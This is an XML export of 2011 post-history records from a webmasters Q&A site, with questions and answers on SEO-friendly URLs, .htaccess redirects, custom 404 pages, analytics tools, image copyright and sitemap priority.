  <row Id="41751" PostHistoryTypeId="3" PostId="17364" RevisionGUID="5e6b58dc-12f5-448e-ab1d-ae560368a922" CreationDate="2011-07-25T12:44:15.737" UserId="9186" UserDisplayName="Bv202" Text="&lt;php&gt;&lt;apache&gt;&lt;htaccess&gt;&lt;url&gt;&lt;seo&gt;" />
  <row Id="41752" PostHistoryTypeId="5" PostId="17365" RevisionGUID="d4d6a81c-ce28-44b0-8471-a76f52114e13" CreationDate="2011-07-25T12:59:07.317" UserId="2578" Comment="points 1 and 2" Text="**3) Concerning the redirect**&#xD;&#xA;&#xD;&#xA;In `http://www.example.com/news/564/seo-improvements.html` I assume that `/seo-improvements.html` is just &quot;sugar&quot;. All important information is in the `http://www.example.com/news/564` part (`news` and `564`).&#xD;&#xA;&#xD;&#xA;Therefore, if the `news` entity with id `564` is found, but the URL does not match the expected slug, one can easily issue a redirect with the correct slug.&#xD;&#xA;&#xD;&#xA;(I'm not sure that I applaud this strategy, though.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;As for points 1) and 2), you may find [*Underscores are now word separators, proclaims Google*][1] worth a read. *I don't know whether this is (or; was ever) true!*:&#xD;&#xA;&#xD;&#xA;&gt; Matt stated that the number of slashes in your URL (i.e. the number of directories deep your page is) isn't a factor in your Google rankings.&#xD;&#xA;&#xD;&#xA;And&#xD;&#xA;&#xD;&#xA;&gt; According to Matt, the file extension in your URL won't affect your rankings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.cnet.com/8301-13530_3-9748779-28.html" />
  <row Id="41753" PostHistoryTypeId="16" PostId="17363" RevisionGUID="d1a2a0fc-46cd-4655-863a-a1f198cfb23c" CreationDate="2011-07-25T13:01:22.023" UserId="1253" />
  <row Id="41754" PostHistoryTypeId="2" PostId="17368" RevisionGUID="9718ff0a-349c-4b0b-a781-19ee965b0aed" CreationDate="2011-07-25T13:07:51.660" UserId="5610" Text="The golden rule is that URIs should not change, content should.&#xD;&#xA;&#xD;&#xA;1. In terms of SEO, there isn't much difference, for now at least.  The problem with extensions on URIs is that after a while, they become outdated.  This is commonly seen with sites that have URIs ending with `.cgi`, when the backend probably stopped using CGI a long time ago.  The same goes for HTML.  It's the current standard now, but who's to say that it still will be in years to come.  What about XHTML...?&#xD;&#xA;&#xD;&#xA;2. Again, as far as search engines are concerned, there should be no difference.  It's often a good idea to have hackable URIs.  Given `/images/2010/summer`, it's handy if the user can hack the URI down to `/images/2010` and still get a valid page of images from 2010.  Or `/images/` and get a valid pages of images.  Your example is slightly different, in that `564` is just a unique ID (probably in a database) for a given item.  The bit that follows is just a handy human-readable part.  Hopefully, hacking it down to `/news/564` would return the same thing - perhaps redirecting to `/news/564/seo-improvements` in the process.&#xD;&#xA;&#xD;&#xA;3. See 2.  The back-end app probably doesn't care about the bit after `564`.&#xD;&#xA;&#xD;&#xA;For more information, see:&#xD;&#xA;&#xD;&#xA;[Cool URIs don't change][1]  &#xD;&#xA;[Cool URIs for the Semantic Web][2]&#xD;&#xA;&#xD;&#xA;[1]: http://www.w3.org/Provider/Style/URI&#xD;&#xA;[2]: http://www.w3.org/TR/cooluris/" />
  <row Id="41755" PostHistoryTypeId="2" PostId="17369" RevisionGUID="856547fc-d875-4162-8213-c7befe916b9d" CreationDate="2011-07-25T13:14:47.507" UserId="8337" Text="I didn't really no where to ask this, so I thought this might be the place. I recently installed RoR using instantrails on Windows Vista. I was trying to get Spree set up on my rails install, but I must be missing something. Currently, the path to my rails is C:\Rails. I followed the instructions for spree but when I use rails install spree (or gem spree), I just get the &quot;spree not found&quot;. Has anyone had success in installing Spree Commerce." />
  <row Id="41756" PostHistoryTypeId="1" PostId="17369" RevisionGUID="856547fc-d875-4162-8213-c7befe916b9d" CreationDate="2011-07-25T13:14:47.507" UserId="8337" Text="Configuring Spree Commerce on Vista" />
  <row Id="41757" PostHistoryTypeId="3" PostId="17369" RevisionGUID="856547fc-d875-4162-8213-c7befe916b9d" CreationDate="2011-07-25T13:14:47.507" UserId="8337" Text="&lt;ecommerce&gt;&lt;ruby-on-rails&gt;" />
  <row Id="41758" PostHistoryTypeId="2" PostId="17370" RevisionGUID="74632201-35bb-4af5-8b46-9f3f2cdf226a" CreationDate="2011-07-25T13:32:37.967" UserId="9061" Text="You might want to take a look at &lt;a href=&quot;http://piwik.org&quot;&gt;piwik&lt;/a&gt;. There is a plugin for &lt;a href=&quot;http://dev.piwik.org/trac/ticket/45&quot;&gt;geolocation&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;You will have to install it in you server." />
  <row Id="41759" PostHistoryTypeId="2" PostId="17371" RevisionGUID="58796693-1055-4664-a1a1-addf40b9a6f2" CreationDate="2011-07-25T13:36:41.357" UserId="5806" Text="Just recently noticed that some sites link with special characters replaced by HTML entities, to which my server (LAMP) responds with a 404 Not Found.&#xD;&#xA;&#xD;&#xA;For example, for a URL of mine like this:&#xD;&#xA;&#xD;&#xA;http://www.site.com/page.php?param=value&#xD;&#xA;&#xD;&#xA;They link to it like this:&#xD;&#xA;&#xD;&#xA;http://www.site.com/page.php%3Fparam%3Dvalue&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;- Who is wrong? My server for not understanding? or the linking site for not specifying the URL properly?&#xD;&#xA;- Could something be done to configure Apache to understand the entities?&#xD;&#xA;- If not, would it be safe to setup redirects by translating the entities?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41760" PostHistoryTypeId="1" PostId="17371" RevisionGUID="58796693-1055-4664-a1a1-addf40b9a6f2" CreationDate="2011-07-25T13:36:41.357" UserId="5806" Text="Should HTML Entities In URLs By Handled?" />
  <row Id="41761" PostHistoryTypeId="3" PostId="17371" RevisionGUID="58796693-1055-4664-a1a1-addf40b9a6f2" CreationDate="2011-07-25T13:36:41.357" UserId="5806" Text="&lt;url&gt;&lt;entities&gt;" />
  <row Id="41762" PostHistoryTypeId="2" PostId="17372" RevisionGUID="5f341e25-b2b6-4855-b906-00fa90320691" CreationDate="2011-07-25T13:42:08.690" UserId="1643" Text="The good thing about good corporate blogs is that they put a personal face on the organisation. Employees writing honestly about their company, not just churning out press releases, build interest and trust. &#xD;&#xA;&#xD;&#xA;What I'm not so sure about is how much this applies to a wholesale business as the people buying from you are trying to do the best thing by their company, rather than what they think is best for them. So whilst there are any number of articles about their about &quot;using social media to promote your business&quot; most of them are probably written for business to consumer companies, rather than business to business.&#xD;&#xA;&#xD;&#xA;However, as all it's going to cost is a bit of time, it's worth giving it a go. What are your competitors doing? What are other wholesale companies in a different line of business doing? You could research that and get ideas from them." />
  <row Id="41763" PostHistoryTypeId="16" PostId="17372" RevisionGUID="fda35ba8-5394-4e0e-bc82-56749386be73" CreationDate="2011-07-25T13:42:08.690" UserId="1643" />
  <row Id="41764" PostHistoryTypeId="2" PostId="17373" RevisionGUID="9679916c-cbb0-4add-ae76-43a488437fbf" CreationDate="2011-07-25T13:47:25.843" UserId="8331" Text="I've read in a few design blogs that its important to design custom 404 pages, but why is this? &#xD;&#xA;&#xD;&#xA;Dont most users know what these are as you tend to end up seeing them from time to time. Also, if your making a small site where the page's names wont change and pages wont be deleted, how likely are users to get a 404? Admittedly I dont look very carefully at any analytics but I imagine users to my sites see them very often at all. &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="41765" PostHistoryTypeId="1" PostId="17373" RevisionGUID="9679916c-cbb0-4add-ae76-43a488437fbf" CreationDate="2011-07-25T13:47:25.843" UserId="8331" Text="Importance of custom 404 pages?" />
  <row Id="41766" PostHistoryTypeId="3" PostId="17373" RevisionGUID="9679916c-cbb0-4add-ae76-43a488437fbf" CreationDate="2011-07-25T13:47:25.843" UserId="8331" Text="&lt;usability&gt;&lt;404&gt;" />
  <row Id="41767" PostHistoryTypeId="2" PostId="17374" RevisionGUID="68342efb-d514-4af6-842b-bd96091b3679" CreationDate="2011-07-25T13:50:17.037" UserId="5026" Text="[This article][1] says Google +1 tags can add a second to page load time, which means a 10% decline in visitors.&#xD;&#xA;&#xD;&#xA;The article authors say they use smart tag loading to reduce page load time.&#xD;&#xA;&#xD;&#xA;Does anyone know of an open source method to do this rather than a proprietry method?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tagman.com/index.php/smart-tag-loading.html" />
  <row Id="41768" PostHistoryTypeId="1" PostId="17374" RevisionGUID="68342efb-d514-4af6-842b-bd96091b3679" CreationDate="2011-07-25T13:50:17.037" UserId="5026" Text="Smart Tag Loading" />
  <row Id="41769" PostHistoryTypeId="3" PostId="17374" RevisionGUID="68342efb-d514-4af6-842b-bd96091b3679" CreationDate="2011-07-25T13:50:17.037" UserId="5026" Text="&lt;performance&gt;" />
  <row Id="41770" PostHistoryTypeId="2" PostId="17375" RevisionGUID="9484d46a-7e64-4817-b313-e54b943b1358" CreationDate="2011-07-25T13:52:47.053" UserId="1253" Text="A custom 404 page is your opportunity to turn a bad experience into a good one. No matter how well built your website is you can't stop someone from typing a URL in their address incorrectly, so you need to be prepared for those users who somehow can't find the content they are looking for.&#xD;&#xA;&#xD;&#xA;A custom 404 page gives you an opportunity to help that user. A good custom 404 page will explain clearly that the page they are looking for is not there and remind them to check the URL they typed in to check for typos. It will also offer them links to possibly related pages (if you can determine that) and also links to important pages like your home page or main product pages (if they exist). You also can have a link to a HTML sitemap and a search page to help them find the content they are looking for.&#xD;&#xA;&#xD;&#xA;Basically a custom 404 page is very responsive customer service. Someone couldn't find what they are looking for and your website is ready to give them a hand." />
  <row Id="41771" PostHistoryTypeId="2" PostId="17376" RevisionGUID="beb73aaa-d365-45a3-94be-c320bcf67106" CreationDate="2011-07-25T14:29:46.697" UserId="6355" Text="I didn't exactly understood what you mean by API, but Piwik is simple and reliable. Try also [Open Web Analytics][1], much more sophisticated than Piwik, but a little buggier and not as easy to use. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openwebanalytics.com/" />
  <row Id="41772" PostHistoryTypeId="5" PostId="17346" RevisionGUID="81ad6a4c-5a75-43db-a8c6-e58ea83d83ce" CreationDate="2011-07-25T14:34:12.337" UserId="8687" Comment="added 115 characters in body" Text="The simplest way is to use a 301 redirect in a .htaccess file on the old domain which will point to the new domain. Use the following code:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Rememer to change www.newdomain.com to your actual new domain name. This code is dependant on mod_rewrite being installed in the Apache server. It usually is.&#xD;&#xA;&#xD;&#xA;Another alternative is to use Rewritematch e.g.&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 (.*) http://www.abookaboutchina.com/$1&#xD;&#xA;" />
  <row Id="41774" PostHistoryTypeId="5" PostId="17307" RevisionGUID="59820afc-062c-4081-99d1-6b66dfa724e1" CreationDate="2011-07-25T14:49:14.473" UserId="9187" Comment="deleted 44 characters in body" Text="You can use the PATH_INFO variable.  More here: http://httpd.apache.org/docs/2.0/mod/core.html&#xD;&#xA;&#xD;&#xA;Previous answer (using Request.PathInfo) was tarted at asp.net -- thanks for pointing that out." />
  <row Id="41775" PostHistoryTypeId="5" PostId="17355" RevisionGUID="5a73d8e6-67a5-4348-9689-3bea066c0980" CreationDate="2011-07-25T15:08:18.267" UserId="8687" Comment="added 320 characters in body" Text="Simply management for the domain would revert back to the central registrar such as ICANN or Nominet. You would then be able to transfer your domain to another registrar. Your ownership and use of the domain would be unaffected.&#xD;&#xA;&#xD;&#xA;Prior to that final end, your registration contract would probably be considered an asset and sold to another registrar. An example case would be when [RegisterFly][1] (Wikipedia article) went under, many of their domain registrations were sold on to Godaddy.com.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/RegisterFly" />
  <row Id="41776" PostHistoryTypeId="2" PostId="17377" RevisionGUID="3415a15b-1c49-4805-b0c0-d824afc91c7c" CreationDate="2011-07-25T15:19:05.360" UserId="5727" Text="I see a lot of blogs (coding horror for example) that seem to feature random pictures in the entries.&#xD;&#xA;&#xD;&#xA;Would I be correct in saying they probably didn't seek permission to use those images?  What are the rules around this?  Can I use any image I want in my blog post?   Or do I have to seek permission?&#xD;&#xA;&#xD;&#xA;I'm thinking there might be a sort of reasonable journalistic usage thing here if your blog is somehow classed as a journalistic venture?  Or am I mistaken?" />
  <row Id="41777" PostHistoryTypeId="1" PostId="17377" RevisionGUID="3415a15b-1c49-4805-b0c0-d824afc91c7c" CreationDate="2011-07-25T15:19:05.360" UserId="5727" Text="Images in blog posts" />
  <row Id="41778" PostHistoryTypeId="3" PostId="17377" RevisionGUID="3415a15b-1c49-4805-b0c0-d824afc91c7c" CreationDate="2011-07-25T15:19:05.360" UserId="5727" Text="&lt;blog&gt;&lt;images&gt;&lt;copyright&gt;&lt;image-hosting&gt;" />
  <row Id="41779" PostHistoryTypeId="2" PostId="17378" RevisionGUID="57f3a169-27d7-4504-a739-8a305e99ae0f" CreationDate="2011-07-25T15:31:37.900" UserId="1643" Text="Including images from one website on another is part of the way that the web works and there's not been much successful legal challenge about it. (http://www.bitlaw.com/internet/linking.html)&#xD;&#xA;&#xD;&#xA;Read that article for more info on what's not allowed (pretending comics are your own, pretending that your website is the official one for the product featured).&#xD;&#xA;&#xD;&#xA;However every time you include someone else's image it's using up their bandwidth when your visitors see that picture. So if your website is popular then it's good practise to make legal copies of those images and host them yourself. So if you're a commercial site that might mean paying for stock photography, or if you're non-commercial then look for Creative Commons licensed pictures (though some CC licensed pictures can be used commercially), or pictures with no license." />
  <row Id="41780" PostHistoryTypeId="25" PostId="17377" RevisionGUID="a4dccf77-8024-4f77-8ab6-1c34151bec18" CreationDate="2011-07-25T15:32:00.457" Comment="http://twitter.com/#!/StackWebmasters/status/95516658596200448" />
  <row Id="41781" PostHistoryTypeId="2" PostId="17379" RevisionGUID="858601a0-8f78-40da-844d-7486533f1309" CreationDate="2011-07-25T18:27:42.860" UserId="9182" Text="I'm looking for online **opensource** editor for **css files**. It should has **syntax highlight**. Also it should be **easily integrable** within php code." />
  <row Id="41782" PostHistoryTypeId="1" PostId="17379" RevisionGUID="858601a0-8f78-40da-844d-7486533f1309" CreationDate="2011-07-25T18:27:42.860" UserId="9182" Text="Lightweight online opensource css editor - php" />
  <row Id="41783" PostHistoryTypeId="3" PostId="17379" RevisionGUID="858601a0-8f78-40da-844d-7486533f1309" CreationDate="2011-07-25T18:27:42.860" UserId="9182" Text="&lt;php&gt;&lt;open-source&gt;&lt;webmaster-tools&gt;" />
  <row Id="41784" PostHistoryTypeId="25" PostId="17373" RevisionGUID="f8b019de-89d7-4eb9-bceb-f54b6b3a7ae5" CreationDate="2011-07-25T18:32:01.230" Comment="http://twitter.com/#!/StackWebmasters/status/95561957410738176" />
  <row Id="41785" PostHistoryTypeId="5" PostId="17327" RevisionGUID="4dbadf7e-a8cf-498c-8385-90ee716db2c7" CreationDate="2011-07-25T18:46:30.317" UserId="5684" Comment="added 238 characters in body" Text="None. AFAIK CSS doesn't factor into it at all.&#xD;&#xA;&#xD;&#xA;Update: I've asked Gary Illyes, who works for Google and he says:&#xD;&#xA;&#xD;&#xA;&gt; CSS files aren't indexed and as far as I know they're only fetched and used in very limited case&#xD;&#xA;&#xD;&#xA;https://plus.google.com/109139237014771009015/posts/R5TCdFR19M8" />
  <row Id="41786" PostHistoryTypeId="2" PostId="17380" RevisionGUID="ccbafa27-9247-4dd0-bbe9-67da9c21c346" CreationDate="2011-07-25T19:01:24.077" UserId="1429" Text="A sort of work around could be to create also a FB page for your website, then you add a small FB icon on your website that links to the FB page. :)&#xD;&#xA;&#xD;&#xA;It wouldn't be as trivial for final user as clicking the FB &quot;Like button&quot;, cause it would have to visit your FB page and then click the Like button over there.&#xD;&#xA;&#xD;&#xA;At least for FB we have this sort of work around, for Google +1 button there seems to be no way other than including their API.&#xD;&#xA;&#xD;&#xA;As a side note, I have to say that it's quite irritating to almost be forced to place all these JS code from Google + FB on my pages, they could sniff/track visits and other stuff on my sites, but I suppose we have no more chances to avoid adding such buttons in now days. :(" />
  <row Id="41787" PostHistoryTypeId="2" PostId="17381" RevisionGUID="b1a2f42e-076b-45d3-930f-968bd0350c6e" CreationDate="2011-07-25T19:39:06.743" UserId="8838" Text="I am trying to optimize a pre-existing website using SEO tactics.  I just have one question.  What is the best way to optimize if a keyword can be a phrase or acronyms (ie Major League Baseball vs MLB)?  Should I try to fit both versions on page / title or is there a preferred method of dealing with this?" />
  <row Id="41788" PostHistoryTypeId="1" PostId="17381" RevisionGUID="b1a2f42e-076b-45d3-930f-968bd0350c6e" CreationDate="2011-07-25T19:39:06.743" UserId="8838" Text="SEO and Acronyms" />
  <row Id="41789" PostHistoryTypeId="3" PostId="17381" RevisionGUID="b1a2f42e-076b-45d3-930f-968bd0350c6e" CreationDate="2011-07-25T19:39:06.743" UserId="8838" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="41790" PostHistoryTypeId="2" PostId="17382" RevisionGUID="1059430f-5c2f-4624-9424-101a075e5c30" CreationDate="2011-07-25T19:46:20.770" UserId="1253" Text="Search engines are very good at handling acronyms, especially Google. But if you want to help them along you can do two things:&#xD;&#xA;&#xD;&#xA;1. Use the `&lt;abbr&gt;` or `&lt;acronym&gt;` tags to indicate an acronym is being used and what it means. `&lt;acronym&gt;` is being phased out in HTML5 with `&lt;abbr&gt;` handling both abbreviations and acronyms. So `&lt;abbr&gt;` is the more future proof way to go.&#xD;&#xA;&#xD;&#xA;2. The first time you mention the acronym in your content use both so search engines and users both know what the acronym means. Then use the acronym going forward. For example, you could say:&#xD;&#xA;&#xD;&#xA;&gt; Major League Baseball (MLB) is a popular sports league in the United States. MLB has 32 teams..." />
  <row Id="41791" PostHistoryTypeId="2" PostId="17383" RevisionGUID="7c0d89af-919e-47eb-bd54-41561209e5f7" CreationDate="2011-07-25T20:14:12.017" UserId="8957" Text="Without a lot of research I will go ahead and assume that there is no javascript based editor that will syntax highlight code that you could integrate into a website.&#xD;&#xA;As a lightweight editor that syntax highlights and lets you edit css and php i would recommend [notepad++][1]. It will syntax highlight a lot of languages (html/php/css are among them). But there are many others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://notepad-plus-plus.org/" />
  <row Id="41792" PostHistoryTypeId="5" PostId="17379" RevisionGUID="e77e3653-d5af-4a56-85c3-8974b2b3b3c7" CreationDate="2011-07-25T20:45:01.767" UserId="9182" Comment="added 151 characters in body" Text="I'm looking for online **opensource** editor for **css files**. It should has **syntax highlight**. Also it should be **easily integrable** within php code.&#xD;&#xA;&#xD;&#xA;**Edit:** I need something like `textarea` that highlight my css code. And i wanna to add it to my website so i can change my css from everyplace. " />
  <row Id="41793" PostHistoryTypeId="2" PostId="17384" RevisionGUID="bd0cd56a-5060-4317-b6fb-2974fa8c2cfe" CreationDate="2011-07-25T21:11:36.940" UserId="9190" Text="Since I am not based in China or have access to any computers in China I can't test this myself. Is there a web service or tool (free) I can use to send a test email to my domain to see if it is received or blocked by the Great Firewall of China? &#xD;&#xA;&#xD;&#xA;I'm not 100% sure that the problem is down to it being blocked yet, need some sort of confirmation.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="41794" PostHistoryTypeId="1" PostId="17384" RevisionGUID="bd0cd56a-5060-4317-b6fb-2974fa8c2cfe" CreationDate="2011-07-25T21:11:36.940" UserId="9190" Text="Clients having problems receiving emails from China, is there a tool/web service I can use to test this?" />
  <row Id="41795" PostHistoryTypeId="3" PostId="17384" RevisionGUID="bd0cd56a-5060-4317-b6fb-2974fa8c2cfe" CreationDate="2011-07-25T21:11:36.940" UserId="9190" Text="&lt;dns&gt;&lt;email&gt;&lt;web-services&gt;&lt;webmaster-tools&gt;&lt;networking&gt;" />
  <row Id="41796" PostHistoryTypeId="2" PostId="17385" RevisionGUID="1cddf691-a864-4e89-be0f-0eec31cd0419" CreationDate="2011-07-25T21:19:17.913" UserId="9191" Text="1) you can trim .html&#xD;&#xA;2) second case maybe better cause / separes phrase in path, but we speak about microscopic factor&#xD;&#xA;3) if you use redirect 301 near 100% of rank goes to destination page" />
  <row Id="41797" PostHistoryTypeId="2" PostId="17386" RevisionGUID="a681d055-a001-4d9b-b8e3-30f1eae2525e" CreationDate="2011-07-25T21:30:17.740" UserId="3625" Text="In Google Webmaster Tools, I have a huge list of &quot;Not Found&quot; crawl errors (404) with URLs that look like this: `http://www.exclusivevillas.co.za/villa_view.asp?vSeq=82&amp;activitySeq=3&amp;page=3`, seemingly originating from URLs very similar to that (eg `http://www.exclusivevillas.co.za/villa_view.asp?vSeq=82&amp;activitySeq=3&amp;page=4`.&#xD;&#xA;&#xD;&#xA;Thing is, the site is WordPress. Has been for almost a year now. Was plain html before that. I don't know where these ASP requests are coming from. And furthermore, the dates these supposed ASP pages requested these other ASP pages, resulting in 404s, are very recent. &#xD;&#xA;&#xD;&#xA;What's going on?" />
  <row Id="41798" PostHistoryTypeId="1" PostId="17386" RevisionGUID="a681d055-a001-4d9b-b8e3-30f1eae2525e" CreationDate="2011-07-25T21:30:17.740" UserId="3625" Text="Weird .ASP pages from my non-ASP site generating 404s" />
  <row Id="41799" PostHistoryTypeId="3" PostId="17386" RevisionGUID="a681d055-a001-4d9b-b8e3-30f1eae2525e" CreationDate="2011-07-25T21:30:17.740" UserId="3625" Text="&lt;asp.net&gt;&lt;404&gt;" />
  <row Id="41800" PostHistoryTypeId="25" PostId="17381" RevisionGUID="9d4866f7-0abc-4a91-8698-073625b3118e" CreationDate="2011-07-25T21:32:01.123" Comment="http://twitter.com/#!/StackWebmasters/status/95607255998791680" />
  <row Id="41801" PostHistoryTypeId="5" PostId="17364" RevisionGUID="35cc0945-95d7-47d3-860c-273ec3508752" CreationDate="2011-07-25T22:31:59.610" UserId="2150" Comment="Changed the order of tags to better reflect the question's subject. And changing something trivial because you don't consider  re-ordering tags to be a &quot;change&quot;" Text="I'm using .htaccess with RewriteRule to create SEO-friendly URL's. However, I have a few questions about this:  &#xD;&#xA;&#xD;&#xA; 1. First of all, I noticed many websites end their URL's with .html (or another extension). For example: `http://www.example.com/news/564/seo-improvements.html`  &#xD;&#xA;Does ending an URL with an extension have an impact on SEO? &#xD;&#xA;&#xD;&#xA; 2. Which URL is the best (again, for SEO): &#xD;&#xA;&#xD;&#xA;    http://www.example.com/news/564/seo-improvements.html&#xD;&#xA;    http://www.example.com/news/564-seo-improvements.html&#xD;&#xA;&#xD;&#xA;I've noticed both notations are often being used.&#xD;&#xA;&#xD;&#xA; 3. On many websites, I notice you can alter the text part of the URL, which is followed by a redirect. For example:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/news/564/seo-improvements.html &lt;-- original URL&#xD;&#xA;    http://www.example.com/news/564/sefkdjfjdfkdjfk.html  &lt;-- altered URL, will redirect to the first one&#xD;&#xA;&#xD;&#xA;How can such a redirect be done?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;When creating this thread, I got a warning this question may be subjective - is it? Isn't there a &quot;correct&quot; answer on these questions?" />
  <row Id="41802" PostHistoryTypeId="24" PostId="17364" RevisionGUID="35cc0945-95d7-47d3-860c-273ec3508752" CreationDate="2011-07-25T22:31:59.610" Comment="Proposed by 2150 approved by 1064 edit id of 451" />
  <row Id="41803" PostHistoryTypeId="2" PostId="17387" RevisionGUID="585984cb-e9c5-4150-8dd5-fc83a77614cf" CreationDate="2011-07-25T23:32:49.160" UserId="9189" Text="I wrote &quot;having importance&quot; since I do not really know the right way to say this.&#xD;&#xA;&#xD;&#xA;I have certain pages in my site like &quot;Terms of Use&quot; and &quot;Privacy Policy&quot; and all that&#xD;&#xA;admin stuff, and for some reason google gives them great importance, they are in the&#xD;&#xA;footer and don't have any &lt;b&gt; tag or anything so it's kinda weird.&#xD;&#xA;&#xD;&#xA;But anyway, I see in Google Webmaster Tools that some of the keywords&#xD;&#xA;for my site are stuff like &quot;Privacy Policy&quot; and of course this has nothing&#xD;&#xA;to do with my site, I don't want those pages to have that big importance,&#xD;&#xA;and probably steal &quot;juice&quot; from the other pages.&#xD;&#xA;&#xD;&#xA;What's the best method of stopping this from happening?&lt;br&gt;&#xD;&#xA;maybe this? `&lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, FOLLOW&quot;&gt;`&#xD;&#xA;&#xD;&#xA;There are links from the &quot;Terms&quot; pages to the home page and other important pages&#xD;&#xA;so is this what I should put?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41804" PostHistoryTypeId="1" PostId="17387" RevisionGUID="585984cb-e9c5-4150-8dd5-fc83a77614cf" CreationDate="2011-07-25T23:32:49.160" UserId="9189" Text="SEO: How to stop certain web-pages from &quot;having importance&quot;" />
  <row Id="41805" PostHistoryTypeId="3" PostId="17387" RevisionGUID="585984cb-e9c5-4150-8dd5-fc83a77614cf" CreationDate="2011-07-25T23:32:49.160" UserId="9189" Text="&lt;seo&gt;&lt;robots&gt;&lt;noindex&gt;" />
  <row Id="41806" PostHistoryTypeId="2" PostId="17388" RevisionGUID="7908d5f2-ca2e-4316-aef2-53f4255d9e25" CreationDate="2011-07-25T23:43:00.497" UserId="7036" Text="I came across a curious situation recently.  I was reading an article where some text was linked but such that the link text was completely out of context.  Here is an example:&#xD;&#xA;&#xD;&#xA;&gt; as I work my way through the `&lt;a ...&gt;`best insurance`&lt;/a&gt;` fraud crimes making the news&#xD;&#xA;&#xD;&#xA;The linked text, &quot;best insurance&quot; is linked completely out of context as the &quot;best&quot; describes the &quot;insurance fraud crimes&quot;.  Is there any SEO effect to this?  Is there any indication that search engines attempt to analyse context of links as closely as required to detect this?" />
  <row Id="41807" PostHistoryTypeId="1" PostId="17388" RevisionGUID="7908d5f2-ca2e-4316-aef2-53f4255d9e25" CreationDate="2011-07-25T23:43:00.497" UserId="7036" Text="SEO effect of linking text out of context." />
  <row Id="41808" PostHistoryTypeId="3" PostId="17388" RevisionGUID="7908d5f2-ca2e-4316-aef2-53f4255d9e25" CreationDate="2011-07-25T23:43:00.497" UserId="7036" Text="&lt;seo&gt;" />
  <row Id="41809" PostHistoryTypeId="2" PostId="17389" RevisionGUID="c128566b-3c5b-4fb1-8db7-3e31c3719683" CreationDate="2011-07-25T23:50:36.803" UserId="7036" Text="The short answer is no.  There is no way to tell Google the pages aren't important without simply telling Google to ignore them completely (via, as you have suggested, NOINDEX, although you should really use the robots.txt for this).&#xD;&#xA;&#xD;&#xA;It used to be the case that `nofollow` would cause any page rank that was directed to those pages to be redistributed elsewhere.  Use of nofollow to achieve this was know as &quot;Page Rank Sculpting&quot;.  For a few years now, Google has changed their policy so that instead of redistributing the page rank, it simply evaporates.&#xD;&#xA;&#xD;&#xA;Here's an example:&#xD;&#xA;&#xD;&#xA;How things used to work - You have a page with 10 links and page rank 5.  Five of the links are `nofollow` so the page rank gets divided between the remaining 5 links, each of the getting 1 point.&#xD;&#xA;&#xD;&#xA;How things work now - That same page with 5 followed links and 5 nofollowed still have page rank 5.  However, that score is now divided between all 10 links.  The 5 followed links each get 0.5 points.  Another 0.5 points simply evaporates on each of the nofollowed links.&#xD;&#xA;&#xD;&#xA;As such, there's no way to control what pages are more &quot;important&quot;.  It's an all or nothing, include or ignore situation.  As long as a page is included/indexed, Google/Bing/whoever will decide for you how important it is." />
  <row Id="41810" PostHistoryTypeId="2" PostId="17390" RevisionGUID="4803fc75-8b01-4a33-9a78-309c4ff2bd9f" CreationDate="2011-07-25T23:55:02.807" UserId="8957" Text="I would highly doubt that google is analyzing whole sentences for indexing purposes (yet).&#xD;&#xA;For a search engine to analyze the context they would have to be just one tiny step away from actually understanding the text, they would have to understand that it doesn't fit in the sentence.&#xD;&#xA;&#xD;&#xA;search engines have to analyze literally *billions* of websites, if they were to try and analyze the text it would add millions of dollars worth of processor time. so i doubt it's going to happen in the near future." />
  <row Id="41811" PostHistoryTypeId="2" PostId="17391" RevisionGUID="c76db940-7199-4150-839c-987fdd645988" CreationDate="2011-07-25T23:56:18.133" UserId="7296" Text="Yes you can do this by setting the priority within the sitemap.xml&#xD;&#xA;&#xD;&#xA;see http://en.wikipedia.org/wiki/Sitemaps#Element_definitions&#xD;&#xA;&#xD;&#xA;example&#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;    &lt;loc&gt;http://www.foo.com&lt;/loc&gt;&#xD;&#xA;    &lt;lastmod&gt;2011-06-03&lt;/lastmod&gt;&#xD;&#xA;    &lt;changefreq&gt;daily&lt;/changefreq&gt;&#xD;&#xA;    &lt;priority&gt;1.0&lt;/priority&gt;&lt;/url&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;So in your case to set a low importance you could use 0.1 or 0.2 as the priority" />
